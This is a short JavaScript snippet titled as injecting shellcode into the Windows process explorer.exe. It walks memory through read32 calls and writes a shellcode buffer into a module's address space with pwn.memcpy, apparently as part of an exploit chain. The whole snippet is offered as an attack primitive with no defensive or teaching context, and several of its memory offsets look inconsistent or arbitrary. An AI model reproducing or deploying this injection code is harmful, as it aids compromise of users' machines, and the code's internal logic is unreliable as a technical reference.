Inject shellcode in process explorer.exe

function inject(shellcode) {
    var peb = read32(modBase + 0x30);
    var ldr = read32(peb + 0x0c);
    var entry = read32(ldr + 0x1c);
    while (read32(entry + 0x08) != 0x5a4d) {
        entry = read32(entry);
    }
    var nt = read32(entry + 0xbc);
    var func = read32(nt + 0x1f4);
    var base = read32(read32(func + 0x10) + 0x10);
    var size = read32(base + 0x20);
    var target = base + size - shellcode.length;
    pwn.memcpy(target, shellcode);
    return target;
}
inject(shellcode);